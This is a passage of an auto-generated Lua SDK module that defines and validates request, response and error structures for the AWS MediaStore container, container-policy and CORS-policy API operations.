-- Valid keys:
-- * Message [ErrorMessage]
-- @return ContainerNotFoundException structure as a key-value pair table
function M.ContainerNotFoundException(args)
assert(args, "You must provide an argument table when creating ContainerNotFoundException")
local query_args = {
}
local uri_args = {
}
local header_args = {
}
local all_args = {
["Message"] = args["Message"],
}
asserts.AssertContainerNotFoundException(all_args)
return {
all = all_args,
query = query_args,
uri = uri_args,
headers = header_args,
}
end
keys.CreateContainerInput = { ["ContainerName"] = true, nil }
function asserts.AssertCreateContainerInput(struct)
assert(struct)
assert(type(struct) == "table", "Expected CreateContainerInput to be of type 'table'")
assert(struct["ContainerName"], "Expected key ContainerName to exist in table")
if struct["ContainerName"] then asserts.AssertContainerName(struct["ContainerName"]) end
for k,_ in pairs(struct) do
assert(keys.CreateContainerInput[k], "CreateContainerInput contains unknown key " .. tostring(k))
end
end
--- Create a structure of type CreateContainerInput
--
-- @param args Table with arguments in key-value form.
-- Valid keys:
-- * ContainerName [ContainerName] <p>The name for the container. The name must be from 1 to 255 characters. Container names must be unique to your AWS account within a specific region. As an example, you could create a container named <code>movies</code> in every region, as long as you don’t have an existing container with that name.</p>
-- Required key: ContainerName
-- @return CreateContainerInput structure as a key-value pair table
function M.CreateContainerInput(args)
assert(args, "You must provide an argument table when creating CreateContainerInput")
local query_args = {
}
local uri_args = {
}
local header_args = {
}
local all_args = {
["ContainerName"] = args["ContainerName"],
}
asserts.AssertCreateContainerInput(all_args)
return {
all = all_args,
query = query_args,
uri = uri_args,
headers = header_args,
}
end
keys.DeleteContainerInput = { ["ContainerName"] = true, nil }
function asserts.AssertDeleteContainerInput(struct)
assert(struct)
assert(type(struct) == "table", "Expected DeleteContainerInput to be of type 'table'")
assert(struct["ContainerName"], "Expected key ContainerName to exist in table")
if struct["ContainerName"] then asserts.AssertContainerName(struct["ContainerName"]) end
for k,_ in pairs(struct) do
assert(keys.DeleteContainerInput[k], "DeleteContainerInput contains unknown key " .. tostring(k))
end
end
--- Create a structure of type DeleteContainerInput
--
-- @param args Table with arguments in key-value form.
-- Valid keys:
-- * ContainerName [ContainerName] <p>The name of the container to delete. </p>
-- Required key: ContainerName
-- @return DeleteContainerInput structure as a key-value pair table
function M.DeleteContainerInput(args)
assert(args, "You must provide an argument table when creating DeleteContainerInput")
local query_args = {
}
local uri_args = {
}
local header_args = {
}
local all_args = {
["ContainerName"] = args["ContainerName"],
}
asserts.AssertDeleteContainerInput(all_args)
return {
all = all_args,
query = query_args,
uri = uri_args,
headers = header_args,
}
end
keys.DeleteContainerOutput = { nil }
function asserts.AssertDeleteContainerOutput(struct)
assert(struct)
assert(type(struct) == "table", "Expected DeleteContainerOutput to be of type 'table'")
for k,_ in pairs(struct) do
assert(keys.DeleteContainerOutput[k], "DeleteContainerOutput contains unknown key " .. tostring(k))
end
end
--- Create a structure of type DeleteContainerOutput
--
-- @param args Table with arguments in key-value form.
-- Valid keys:
-- @return DeleteContainerOutput structure as a key-value pair table
function M.DeleteContainerOutput(args)
assert(args, "You must provide an argument table when creating DeleteContainerOutput")
local query_args = {
}
local uri_args = {
}
local header_args = {
}
local all_args = {
}
asserts.AssertDeleteContainerOutput(all_args)
return {
all = all_args,
query = query_args,
uri = uri_args,
headers = header_args,
}
end
keys.LimitExceededException = { ["Message"] = true, nil }
function asserts.AssertLimitExceededException(struct)
assert(struct)
assert(type(struct) == "table", "Expected LimitExceededException to be of type 'table'")
if struct["Message"] then asserts.AssertErrorMessage(struct["Message"]) end
for k,_ in pairs(struct) do
assert(keys.LimitExceededException[k], "LimitExceededException contains unknown key " .. tostring(k))
end
end
--- Create a structure of type LimitExceededException
-- <p>A service limit has been exceeded.</p>
-- @param args Table with arguments in key-value form.
-- Valid keys:
-- * Message [ErrorMessage]
-- @return LimitExceededException structure as a key-value pair table
function M.LimitExceededException(args)
assert(args, "You must provide an argument table when creating LimitExceededException")
local query_args = {
}
local uri_args = {
}
local header_args = {
}
local all_args = {
["Message"] = args["Message"],
}
asserts.AssertLimitExceededException(all_args)
return {
all = all_args,
query = query_args,
uri = uri_args,
headers = header_args,
}
end
keys.DeleteContainerPolicyOutput = { nil }
function asserts.AssertDeleteContainerPolicyOutput(struct)
assert(struct)
assert(type(struct) == "table", "Expected DeleteContainerPolicyOutput to be of type 'table'")
for k,_ in pairs(struct) do
assert(keys.DeleteContainerPolicyOutput[k], "DeleteContainerPolicyOutput contains unknown key " .. tostring(k))
end
end
--- Create a structure of type DeleteContainerPolicyOutput
--
-- @param args Table with arguments in key-value form.
-- Valid keys:
-- @return DeleteContainerPolicyOutput structure as a key-value pair table
function M.DeleteContainerPolicyOutput(args)
assert(args, "You must provide an argument table when creating DeleteContainerPolicyOutput")
local query_args = {
}
local uri_args = {
}
local header_args = {
}
local all_args = {
}
asserts.AssertDeleteContainerPolicyOutput(all_args)
return {
all = all_args,
query = query_args,
uri = uri_args,
headers = header_args,
}
end
keys.CorsRule = { ["AllowedHeaders"] = true, ["ExposeHeaders"] = true, ["MaxAgeSeconds"] = true, ["AllowedMethods"] = true, ["AllowedOrigins"] = true, nil }
function asserts.AssertCorsRule(struct)
assert(struct)
assert(type(struct) == "table", "Expected CorsRule to be of type 'table'")
if struct["AllowedHeaders"] then asserts.AssertAllowedHeaders(struct["AllowedHeaders"]) end
if struct["ExposeHeaders"] then asserts.AssertExposeHeaders(struct["ExposeHeaders"]) end
if struct["MaxAgeSeconds"] then asserts.AssertMaxAgeSeconds(struct["MaxAgeSeconds"]) end
if struct["AllowedMethods"] then asserts.AssertAllowedMethods(struct["AllowedMethods"]) end
if struct["AllowedOrigins"] then asserts.AssertAllowedOrigins(struct["AllowedOrigins"]) end
for k,_ in pairs(struct) do
assert(keys.CorsRule[k], "CorsRule contains unknown key " .. tostring(k))
end
end
--- Create a structure of type CorsRule
-- <p>A rule for a CORS policy. You can add up to 100 rules to a CORS policy. If more than one rule applies, the service uses the first applicable rule listed.</p>
-- @param args Table with arguments in key-value form.
-- Valid keys:
-- * AllowedHeaders [AllowedHeaders] <p>Specifies which headers are allowed in a preflight <code>OPTIONS</code> request through the <code>Access-Control-Request-Headers</code> header. Each header name that is specified in <code>Access-Control-Request-Headers</code> must have a corresponding entry in the rule. Only the headers that were requested are sent back. </p> <p>This element can contain only one wildcard character (*).</p>
-- * ExposeHeaders [ExposeHeaders] <p>One or more headers in the response that you want users to be able to access from their applications (for example, from a JavaScript <code>XMLHttpRequest</code> object).</p> <p>This element is optional for each rule.</p>
-- * MaxAgeSeconds [MaxAgeSeconds] <p>The time in seconds that your browser caches the preflight response for the specified resource.</p> <p>A CORS rule can have only one <code>MaxAgeSeconds</code> element.</p>
-- * AllowedMethods [AllowedMethods] <p>Identifies an HTTP method that the origin that is specified in the rule is allowed to execute.</p> <p>Each CORS rule must contain at least one <code>AllowedMethod</code> and one <code>AllowedOrigin</code> element.</p>
-- * AllowedOrigins [AllowedOrigins] <p>One or more response headers that you want users to be able to access from their applications (for example, from a JavaScript <code>XMLHttpRequest</code> object).</p> <p>Each CORS rule must have at least one <code>AllowedOrigin</code> element. The string value can include only one wildcard character (*), for example, http://*.example.com. Additionally, you can specify only one wildcard character to allow cross-origin access for all origins.</p>
-- @return CorsRule structure as a key-value pair table
function M.CorsRule(args)
assert(args, "You must provide an argument table when creating CorsRule")
local query_args = {
}
local uri_args = {
}
local header_args = {
}
local all_args = {
["AllowedHeaders"] = args["AllowedHeaders"],
["ExposeHeaders"] = args["ExposeHeaders"],
["MaxAgeSeconds"] = args["MaxAgeSeconds"],
["AllowedMethods"] = args["AllowedMethods"],
["AllowedOrigins"] = args["AllowedOrigins"],
}
asserts.AssertCorsRule(all_args)
return {
all = all_args,
query = query_args,
uri = uri_args,
headers = header_args,
}
end
keys.PolicyNotFoundException = { ["Message"] = true, nil }
function asserts.AssertPolicyNotFoundException(struct)
assert(struct)
assert(type(struct) == "table", "Expected PolicyNotFoundException to be of type 'table'")
if struct["Message"] then asserts.AssertErrorMessage(struct["Message"]) end
for k,_ in pairs(struct) do
assert(keys.PolicyNotFoundException[k], "PolicyNotFoundException contains unknown key " .. tostring(k))
end
end
--- Create a structure of type PolicyNotFoundException
-- <p>Could not perform an operation on a policy that does not exist.</p>
-- @param args Table with arguments in key-value form.
-- Valid keys:
-- * Message [ErrorMessage]
-- @return PolicyNotFoundException structure as a key-value pair table
function M.PolicyNotFoundException(args)
assert(args, "You must provide an argument table when creating PolicyNotFoundException")
local query_args = {
}
local uri_args = {
}
local header_args = {
}
local all_args = {
["Message"] = args["Message"],
}
asserts.AssertPolicyNotFoundException(all_args)
return {
all = all_args,
query = query_args,
uri = uri_args,
headers = header_args,
}
end
keys.ListContainersOutput = { ["NextToken"] = true, ["Containers"] = true, nil }
function asserts.AssertListContainersOutput(struct)
assert(struct)
assert(type(struct) == "table", "Expected ListContainersOutput to be of type 'table'")
assert(struct["Containers"], "Expected key Containers to exist in table")
if struct["NextToken"] then asserts.AssertPaginationToken(struct["NextToken"]) end
if struct["Containers"] then asserts.AssertContainerList(struct["Containers"]) end
for k,_ in pairs(struct) do
assert(keys.ListContainersOutput[k], "ListContainersOutput contains unknown key " .. tostring(k))
end
end
--- Create a structure of type ListContainersOutput
--
-- @param args Table with arguments in key-value form.
-- Valid keys:
-- * NextToken [PaginationToken] <p> <code>NextToken</code> is the token to use in the next call to <code>ListContainers</code>. This token is returned only if you included the <code>MaxResults</code> tag in the original command, and only if there are still containers to return. </p>
-- * Containers [ContainerList] <p>The names of the containers.</p>
-- Required key: Containers
-- @return ListContainersOutput structure as a key-value pair table
function M.ListContainersOutput(args)
assert(args, "You must provide an argument table when creating ListContainersOutput")
local query_args = {
}
local uri_args = {
}
local header_args = {
}
local all_args = {
["NextToken"] = args["NextToken"],
["Containers"] = args["Containers"],
}
asserts.AssertListContainersOutput(all_args)
return {
all = all_args,
query = query_args,
uri = uri_args,
headers = header_args,
}
end
keys.PutCorsPolicyInput = { ["ContainerName"] = true, ["CorsPolicy"] = true, nil }
function asserts.AssertPutCorsPolicyInput(struct)
assert(struct)
assert(type(struct) == "table", "Expected PutCorsPolicyInput to be of type 'table'")
assert(struct["ContainerName"], "Expected key ContainerName to exist in table")
assert(struct["CorsPolicy"], "Expected key CorsPolicy to exist in table")
if struct["ContainerName"] then asserts.AssertContainerName(struct["ContainerName"]) end
if struct["CorsPolicy"] then asserts.AssertCorsPolicy(struct["CorsPolicy"]) end
for k,_ in pairs(struct) do
assert(keys.PutCorsPolicyInput[k], "PutCorsPolicyInput contains unknown key " .. tostring(k))
end
end
--- Create a structure of type PutCorsPolicyInput
--
-- @param args Table with arguments in key-value form.
-- Valid keys:
-- * ContainerName [ContainerName] <p>The name of the container that you want to assign the CORS policy to.</p>
-- * CorsPolicy [CorsPolicy] <p>The CORS policy to apply to the container. </p>
-- Required key: ContainerName
-- Required key: CorsPolicy
-- @return PutCorsPolicyInput structure as a key-value pair table
function M.PutCorsPolicyInput(args)
assert(args, "You must provide an argument table when creating PutCorsPolicyInput")
local query_args = {
}
local uri_args = {
}
local header_args = {
}
local all_args = {
["ContainerName"] = args["ContainerName"],
["CorsPolicy"] = args["CorsPolicy"],
}
asserts.AssertPutCorsPolicyInput(all_args)
return {
all = all_args,
query = query_args,
uri = uri_args,
headers = header_args,
}
end
keys.PutContainerPolicyInput = { ["Policy"] = true, ["ContainerName"] = true, nil }
function asserts.AssertPutContainerPolicyInput(struct)
assert(struct)
assert(type(struct) == "table", "Expected PutContainerPolicyInput to be of type 'table'")
assert(struct["ContainerName"], "Expected key ContainerName to exist in table")
assert(struct["Policy"], "Expected key Policy to exist in table")
if struct["Policy"] then asserts.AssertContainerPolicy(struct["Policy"]) end
if struct["ContainerName"] then asserts.AssertContainerName(struct["ContainerName"]) end
for k,_ in pairs(struct) do
assert(keys.PutContainerPolicyInput[k], "PutContainerPolicyInput contains unknown key " .. tostring(k))
end
end
--- Create a structure of type PutContainerPolicyInput
--
-- @param args Table with arguments in key-value form.
-- Valid keys:
-- * Policy [ContainerPolicy] <p>The contents of the policy, which includes the following: </p> <ul> <li> <p>One <code>Version</code> tag</p> </li> <li> <p>One <code>Statement</code> tag that contains the standard tags for the policy.</p> </li> </ul>
-- * ContainerName [ContainerName] <p>The name of the container.</p>
-- Required key: ContainerName
-- Required key: Policy
-- @return PutContainerPolicyInput structure as a key-value pair table
function M.PutContainerPolicyInput(args)
assert(args, "You must provide an argument table when creating PutContainerPolicyInput")
local query_args = {
}
local uri_args = {
}
local header_args = {
}
local all_args = {
["Policy"] = args["Policy"],
["ContainerName"] = args["ContainerName"],
}
asserts.AssertPutContainerPolicyInput(all_args)
return {
all = all_args,
query = query_args,
uri = uri_args,
headers = header_args,
}
end
keys.PutContainerPolicyOutput = { nil }
function asserts.AssertPutContainerPolicyOutput(struct)
assert(struct)
assert(type(struct) == "table", "Expected PutContainerPolicyOutput to be of type 'table'")
for k,_ in pairs(struct) do
assert(keys.PutContainerPolicyOutput[k], "PutContainerPolicyOutput contains unknown key " .. tostring(k))
end
end
--- Create a structure of type PutContainerPolicyOutput
--
-- @param args Table with arguments in key-value form.
-- Valid keys:
-- @return PutContainerPolicyOutput structure as a key-value pair table
function M.PutContainerPolicyOutput(args)
assert(args, "You must provide an argument table when creating PutContainerPolicyOutput")
local query_args = {
}
local uri_args = {
}
local header_args = {
}
local all_args = {
}
asserts.AssertPutContainerPolicyOutput(all_args)
return {
all = all_args,
query = query_args,
uri = uri_args,
headers = header_args,
}
end
keys.DescribeContainerInput = { ["ContainerName"] = true, nil }
function asserts.AssertDescribeContainerInput(struct)
assert(struct)
assert(type(struct) == "table", "Expected DescribeContainerInput to be of type 'table'")
if struct["ContainerName"] then asserts.AssertContainerName(struct["ContainerName"]) end
for k,_ in pairs(struct) do
assert(keys.DescribeContainerInput[k], "DescribeContainerInput contains unknown key " .. tostring(k))
end
end
--- Create a structure of type DescribeContainerInput
--
-- @param args Table with arguments in key-value form.
-- Valid keys:
-- * ContainerName [ContainerName] <p>The name of the container to query.</p>
-- @return DescribeContainerInput structure as a key-value pair table
function M.DescribeContainerInput(args)
assert(args, "You must provide an argument table when creating DescribeContainerInput")
local query_args = {
}
local uri_args = {
}
local header_args = {
}
local all_args = {
["ContainerName"] = args["ContainerName"],
}
asserts.AssertDescribeContainerInput(all_args)
return {
all = all_args,
query = query_args,
uri = uri_args,
headers = header_args,
}
end
keys.ListContainersInput = { ["NextToken"] = true, ["MaxResults"] = true, nil }
function asserts.AssertListContainersInput(struct)
assert(struct)
assert(type(struct) == "table", "Expected ListContainersInput to be of type 'table'")
if struct["NextToken"] then asserts.AssertPaginationToken(struct["NextToken"]) end
if struct["MaxResults"] then asserts.AssertContainerListLimit(struct["MaxResults"]) end
for k,_ in pairs(struct) do
assert(keys.ListContainersInput[k], "ListContainersInput contains unknown key " .. tostring(k))
end
end
--- Create a structure of type ListContainersInput
--
-- @param args Table with arguments in key-value form.
-- Valid keys:
-- * NextToken [PaginationToken] <p>Only if you used <code>MaxResults</code> in the first command, enter the token (which was included in the previous response) to obtain the next set of containers. This token is included in a response only if there actually are more containers to list.</p>
-- * MaxResults [ContainerListLimit] <p>Enter the maximum number of containers in the response. Use from 1 to 255 characters. </p>
-- @return ListContainersInput structure as a key-value pair table
function M.ListContainersInput(args)
assert(args, "You must provide an argument table when creating ListContainersInput")
local query_args = {
}
local uri_args = {
}
local header_args = {
}
local all_args = {
["NextToken"] = args["NextToken"],
["MaxResults"] = args["MaxResults"],
}
asserts.AssertListContainersInput(all_args)
return {
all = all_args,
query = query_args,
uri = uri_args,
headers = header_args,
}
end
keys.DescribeContainerOutput = { ["Container"] = true, nil }
function asserts.AssertDescribeContainerOutput(struct)
assert(struct)
assert(type(struct) == "table", "Expected DescribeContainerOutput to be of type 'table'")
if struct["Container"] then asserts.AssertContainer(struct["Container"]) end
for k,_ in pairs(struct) do
assert(keys.DescribeContainerOutput[k], "DescribeContainerOutput contains unknown key " .. tostring(k))
end
end
--- Create a structure of type DescribeContainerOutput
--
-- @param args Table with arguments in key-value form.
-- Valid keys:
-- * Container [Container] <p>The name of the queried container.</p>
-- @return DescribeContainerOutput structure as a key-value pair table
function M.DescribeContainerOutput(args)
assert(args, "You must provide an argument table when creating DescribeContainerOutput")
local query_args = {
}
local uri_args = {
}
local header_args = {
}
local all_args = {
["Container"] = args["Container"],
}
asserts.AssertDescribeContainerOutput(all_args)
return {
all = all_args,
query = query_args,
uri = uri_args,
headers = header_args,
}
end
keys.PutCorsPolicyOutput = { nil }
function asserts.AssertPutCorsPolicyOutput(struct)
assert(struct)
assert(type(struct) == "table", "Expected PutCorsPolicyOutput to be of type 'table'")
for k,_ in pairs(struct) do
assert(keys.PutCorsPolicyOutput[k], "PutCorsPolicyOutput contains unknown key " .. tostring(k))
end
end
--- Create a structure of type PutCorsPolicyOutput
--
-- @param args Table with arguments in key-value form.
-- Valid keys:
-- @return PutCorsPolicyOutput structure as a key-value pair table
function M.PutCorsPolicyOutput(args)
assert(args, "You must provide an argument table when creating PutCorsPolicyOutput")
local query_args = {
}
local uri_args = {
}
local header_args = {
}
local all_args = {
}
asserts.AssertPutCorsPolicyOutput(all_args)
return {
all = all_args,
query = query_args,
uri = uri_args,
headers = header_args,
}
end
keys.GetContainerPolicyInput = { ["ContainerName"] = true, nil }
function asserts.AssertGetContainerPolicyInput(struct)
assert(struct)
assert(type(struct) == "table", "Expected GetContainerPolicyInput to be of type 'table'")
assert(struct["ContainerName"], "Expected key ContainerName to exist in table")
if struct["ContainerName"] then asserts.AssertContainerName(struct["ContainerName"]) end
for k,_ in pairs(struct) do
assert(keys.GetContainerPolicyInput[k], "GetContainerPolicyInput contains unknown key " .. tostring(k))
end
end
--- Create a structure of type GetContainerPolicyInput
--
-- @param args Table with arguments in key-value form.
-- Valid keys:
-- * ContainerName [ContainerName] <p>The name of the container. </p>
-- Required key: ContainerName
-- @return GetContainerPolicyInput structure as a key-value pair table
function M.GetContainerPolicyInput(args)
assert(args, "You must provide an argument table when creating GetContainerPolicyInput")
local query_args = {
}
local uri_args = {
}
local header_args = {
}
local all_args = {
["ContainerName"] = args["ContainerName"],
}
asserts.AssertGetContainerPolicyInput(all_args)
return {
all = all_args,
query = query_args,
uri = uri_args,
headers = header_args,
}
end
keys.InternalServerError = { ["Message"] = true, nil }
function asserts.AssertInternalServerError(struct)
assert(struct)
assert(type(struct) == "table", "Expected InternalServerError to be of type 'table'")
if struct["Message"] then asserts.AssertErrorMessage(struct["Message"]) end
for k,_ in pairs(struct) do
assert(keys.InternalServerError[k], "InternalServerError contains unknown key " .. tostring(k))
end
end
--- Create a structure of type InternalServerError
-- <p>The service is temporarily unavailable.</p>
-- @param args Table with arguments in key-value form.
-- Valid keys:
-- * Message [ErrorMessage]
-- @return InternalServerError structure as a key-value pair table
function M.InternalServerError(args)
assert(args, "You must provide an argument table when creating InternalServerError")
local query_args = {
}
local uri_args = {
}
local header_args = {
}
local all_args = {
["Message"] = args["Message"],
}
asserts.AssertInternalServerError(all_args)
return {
all = all_args,
query = query_args,
uri = uri_args,
headers = header_args,
}
end
keys.GetContainerPolicyOutput = { ["Policy"] = true, nil }
function asserts.AssertGetContainerPolicyOutput(struct)
assert(struct)
assert(type(struct) == "table", "Expected GetContainerPolicyOutput to be of type 'table'")
assert(struct["Policy"], "Expected key Policy to exist in table")
if struct["Policy"] then asserts.AssertContainerPolicy(struct["Policy"]) end
for k,_ in pairs(struct) do
assert(keys.GetContainerPolicyOutput[k], "GetContainerPolicyOutput contains unknown key " .. tostring(k))
end
end
--- Create a structure of type GetContainerPolicyOutput
--
-- @param args Table with arguments in key-value form.
-- Valid keys:
-- * Policy [ContainerPolicy] <p>The contents of the access policy.</p>
-- Required key: Policy
-- @return GetContainerPolicyOutput structure as a key-value pair table
function M.GetContainerPolicyOutput(args)
assert(args, "You must provide an argument table when creating GetContainerPolicyOutput")
local query_args = {
}
local uri_args = {
}
local header_args = {
}
local all_args = {
["Policy"] = args["Policy"],
}
asserts.AssertGetContainerPolicyOutput(all_args)
return {
all = all_args,
query = query_args,
uri = uri_args,
headers = header_args,
}
end
keys.DeleteCorsPolicyOutput = { nil }
function asserts.AssertDeleteCorsPolicyOutput(struct)
assert(struct)
assert(type(struct) == "table", "Expected DeleteCorsPolicyOutput to be of type 'table'")
for k,_ in pairs(struct) do
assert(keys.DeleteCorsPolicyOutput[k], "DeleteCorsPolicyOutput contains unknown key " .. tostring(k))
end
end
--- Create a structure of type DeleteCorsPolicyOutput
--
-- @param args Table with arguments in key-value form.
-- Valid keys:
-- @return DeleteCorsPolicyOutput structure as a key-value pair table
function M.DeleteCorsPolicyOutput(args)
assert(args, "You must provide an argument table when creating DeleteCorsPolicyOutput")
local query_args = {
}
local uri_args = {
}
local header_args = {
}
local all_args = {
}
asserts.AssertDeleteCorsPolicyOutput(all_args)
return {
all = all_args,
query = query_args,
uri = uri_args,
headers = header_args,
}
end
keys.CreateContainerOutput = { ["Container"] = true, nil }
function asserts.AssertCreateContainerOutput(struct)
assert(struct)
assert(type(struct) == "table", "Expected CreateContainerOutput to be of type 'table'")
assert(struct["Container"], "Expected key Container to exist in table")
if struct["Container"] then asserts.AssertContainer(struct["Container"]) end
for k,_ in pairs(struct) do
assert(keys.CreateContainerOutput[k], "CreateContainerOutput contains unknown key " .. tostring(k))
end
end
--- Create a structure of type CreateContainerOutput
--
-- @param args Table with arguments in key-value form.
-- Valid keys:
-- * Container [Container] <p>ContainerARN: The Amazon Resource Name (ARN) of the newly created container. The ARN has the following format: arn:aws:<region>:<account that owns this container>:container/<name of container>. For example: arn:aws:mediastore:us-west-2:111122223333:container/movies </p> <p>ContainerName: The container name as specified in the request.</p> <p>CreationTime: Unix time stamp.</p> <p>Status: The status of container creation or deletion. The status is one of the following: <code>CREATING</code>, <code>ACTIVE</code>, or <code>DELETING</code>. While the service is creating the container, the status is <code>CREATING</code>. When an endpoint is available, the status changes to <code>ACTIVE</code>.</p> <p>The return value does not include the container's endpoint. To make downstream requests, you must obtain this value by using <a>DescribeContainer</a> or <a>ListContainers</a>.</p>
-- Required key: Container
-- @return CreateContainerOutput structure as a key-value pair table
function M.CreateContainerOutput(args)
assert(args, "You must provide an argument table when creating CreateContainerOutput")
local query_args = {
}
local uri_args = {
}
local header_args = {
}
local all_args = {
["Container"] = args["Container"],
}
asserts.AssertCreateContainerOutput(all_args)
return {
all = all_args,
query = query_args,
uri = uri_args,
headers = header_args,
}
end
keys.CorsPolicyNotFoundException = { ["Message"] = true, nil }
function asserts.AssertCorsPolicyNotFoundException(struct)
assert(struct)
assert(type(struct) == "table", "Expected CorsPolicyNotFoundException to be of type 'table'")
if struct["Message"] then asserts.AssertErrorMessage(struct["Message"]) end
for k,_ in pairs(struct) do
assert(keys.CorsPolicyNotFoundException[k], "CorsPolicyNotFoundException contains unknown key " .. tostring(k))
end
end
--- Create a structure of type CorsPolicyNotFoundException
-- <p>Could not perform an operation on a policy that does not exist.</p>
-- @param args Table with arguments in key-value form.
-- Valid keys:
-- * Message [ErrorMessage]
-- @return CorsPolicyNotFoundException structure as a key-value pair table
function M.CorsPolicyNotFoundException(args)
assert(args, "You must provide an argument table when creating CorsPolicyNotFoundException")
local query_args = {
}
local uri_args = {
}
local header_args = {
}
local all_args = {
["Message"] = args["Message"],
}
asserts.AssertCorsPolicyNotFoundException(all_args)
return {
all = all_args,
query = query_args,
uri = uri_args,
headers = header_args,
}
end
keys.GetCorsPolicyOutput = { ["CorsPolicy"] = true, nil }
function asserts.AssertGetCorsPolicyOutput(struct)
assert(struct)
assert(type(struct) == "table", "Expected GetCorsPolicyOutput to be of type 'table'")
assert(struct["CorsPolicy"], "Expected key CorsPolicy to exist in table")
if struct["CorsPolicy"] then asserts.AssertCorsPolicy(struct["CorsPolicy"]) end
for k,_ in pairs(struct) do
assert(keys.GetCorsPolicyOutput[k], "GetCorsPolicyOutput contains unknown key " .. tostring(k))
end
end
--- Create a structure of type GetCorsPolicyOutput
--
-- @param args Table with arguments in key-value form.
-- Valid keys:
-- * CorsPolicy [CorsPolicy]
-- Required key: CorsPolicy
-- @return GetCorsPolicyOutput structure as a key-value pair table
function M.GetCorsPolicyOutput(args)
assert(args, "You must provide an argument table when creating GetCorsPolicyOutput")
local query_args = {
}
local uri_args = {
}
local header_args = {
}
local all_args = {
["CorsPolicy"] = args["CorsPolicy"],
}
asserts.AssertGetCorsPolicyOutput(all_args)
return {
all = all_args,
query = query_args,
uri = uri_args,
headers = header_args,
}
end
keys.DeleteContainerPolicyInput = { ["ContainerName"] = true, nil }
function asserts.AssertDeleteContainerPolicyInput(struct)
assert(struct)
assert(type(struct) == "table", "Expected DeleteContainerPolicyInput to be of type 'table'")
assert(struct["ContainerName"], "Expected key ContainerName to exist in table")
if struct["ContainerName"] then asserts.AssertContainerName(struct["ContainerName"]) end
for k,_ in pairs(struct) do
assert(keys.DeleteContainerPolicyInput[k], "DeleteContainerPolicyInput contains unknown key " .. tostring(k))
end
end
--- Create a structure of type DeleteContainerPolicyInput
--
-- @param args Table with arguments in key-value form.
-- Valid keys:
-- * ContainerName [ContainerName] <p>The name of the container that holds the policy.</p>
-- Required key: ContainerName
-- @return DeleteContainerPolicyInput structure as a key-value pair table
function M.DeleteContainerPolicyInput(args)
assert(args, "You must provide an argument table when creating DeleteContainerPolicyInput")
local query_args = {
}
local uri_args = {
}
local header_args = {
}
local all_args = {
["ContainerName"] = args["ContainerName"],
}
asserts.AssertDeleteContainerPolicyInput(all_args)
return {
all = all_args,
query = query_args,
uri = uri_args,
headers = header_args,
}
end
keys.DeleteCorsPolicyInput = { ["ContainerName"] = true, nil }
function asserts.AssertDeleteCorsPolicyInput(struct)
assert(struct)
assert(type(struct) == "table", "Expected DeleteCorsPolicyInput to be of type 'table'")
assert(struct["ContainerName"], "Expected key ContainerName to exist in table")
if struct["ContainerName"] then asserts.AssertContainerName(struct["ContainerName"]) end
for k,_ in pairs(struct) do
assert(keys.DeleteCorsPolicyInput[k], "DeleteCorsPolicyInput contains unknown key " .. tostring(k))
end
end
--- Create a structure of type DeleteCorsPolicyInput
--
-- @param args Table with arguments in key-value form.
-- Valid keys:
-- * ContainerName [ContainerName] <p>The name of the container to remove the policy from.</p>
-- Required key: ContainerName
-- @return DeleteCorsPolicyInput structure as a key-value pair table
function M.DeleteCorsPolicyInput(args)
assert(args, "You must provide an argument table when creating DeleteCorsPolicyInput")
local query_args = {
}
local uri_args = {
}
local header_args = {
}
local all_args = {
["ContainerName"] = args["ContainerName"],
}
asserts.AssertDeleteCorsPolicyInput(all_args)
return {
all = all_args,
query = query_args,
uri = uri_args,
headers = header_args,
}
end
keys.ContainerInUseException = { ["Message"] = true, nil }
function asserts.AssertContainerInUseException(struct)
assert(struct)
assert(type(struct) == "table", "Expected ContainerInUseException to be of type 'table'")
if struct["Message"] then asserts.AssertErrorMessage(struct["Message"]) end
for k,_ in pairs(struct) do
assert(keys.ContainerInUseException[k], "ContainerInUseException contains unknown key " .. tostring(k))
end
end
--- Create a structure of type ContainerInUseException
-- <p>Resource already exists or is being updated.</p>
-- @param args Table with arguments in key-value form.
-- Valid keys:
-- * Message [ErrorMessage]
-- @return ContainerInUseException structure as a key-value pair table
function M.ContainerInUseException(args)
assert(args, "You must provide an argument table when creating ContainerInUseException")
local query_args = {
}
local uri_args = {
}
local header_args = {
}
local all_args = {
["Message"] = args["Message"],
}
asserts.AssertContainerInUseException(all_args)
return {
all = all_args,
query = query_args,
uri = uri_args,
headers = header_args,
}
end
keys.GetCorsPolicyInput = { ["ContainerName"] = true, nil }
function asserts.AssertGetCorsPolicyInput(struct)
assert(struct)
assert(type(struct) == "table", "Expected GetCorsPolicyInput to be of type 'table'")
assert(struct["ContainerName"], "Expected key ContainerName to exist in table")
if struct["ContainerName"] then asserts.AssertContainerName(struct["ContainerName"]) end
for k,_ in pairs(struct) do
assert(keys.GetCorsPolicyInput[k], "GetCorsPolicyInput contains unknown key " .. tostring(k))
end
end
--- Create a structure of type GetCorsPolicyInput
--
-- @param args Table with arguments in key-value form.
-- Valid keys:
-- * ContainerName [ContainerName] <p>The name of the container that the policy is assigned to.</p>
-- Required key: ContainerName
-- @return GetCorsPolicyInput structure as a key-value pair table
function M.GetCorsPolicyInput(args)
assert(args, "You must provide an argument table when creating GetCorsPolicyInput")
local query_args = {
}
local uri_args = {
}
local header_args = {
}
local all_args = {
["ContainerName"] = args["ContainerName"],
}
asserts.AssertGetCorsPolicyInput(all_args)
return {
all = all_args,
query = query_args,
uri = uri_args,
headers = header_args,
}
end
function asserts.AssertContainerName(str)
assert(str)
assert(type(str) == "string", "Expected ContainerName to be of type 'string'")
assert(#str <= 255, "Expected string to be max 255 characters")
assert(#str >= 1, "Expected string to be min 1 characters")
end
--
function M.ContainerName(str)
asserts.AssertContainerName(str)
return str
end
function asserts.AssertErrorMessage(str)
assert(str)
assert(type(str) == "string", "Expected ErrorMessage to be of type 'string'")
assert(#str <= 255, "Expected string to be max 255 characters")
assert(#str >= 1, "Expected string to be min 1 characters")
end
--
function M.ErrorMessage(str)
asserts.AssertErrorMessage(str)
return str
end
function asserts.AssertContainerARN(str)
assert(str)
assert(type(str) == "string", "Expected ContainerARN to be of type 'string'")
assert(#str <= 1024, "Expected string to be max 1024 characters")
assert(#str >= 1, "Expected string to be min 1 characters")
end
--
function M.ContainerARN(str)
asserts.AssertContainerARN(str)
return str
end
function asserts.AssertMethodName(str)
assert(str)
assert(type(str) == "string", "Expected MethodName to be of type 'string'")
end
--
function M.MethodName(str)
asserts.AssertMethodName(str)
return str
end
function asserts.AssertContainerPolicy(str)
assert(str)
assert(type(str) == "string", "Expected ContainerPolicy to be of type 'string'")
assert(#str <= 8192, "Expected string to be max 8192 characters")
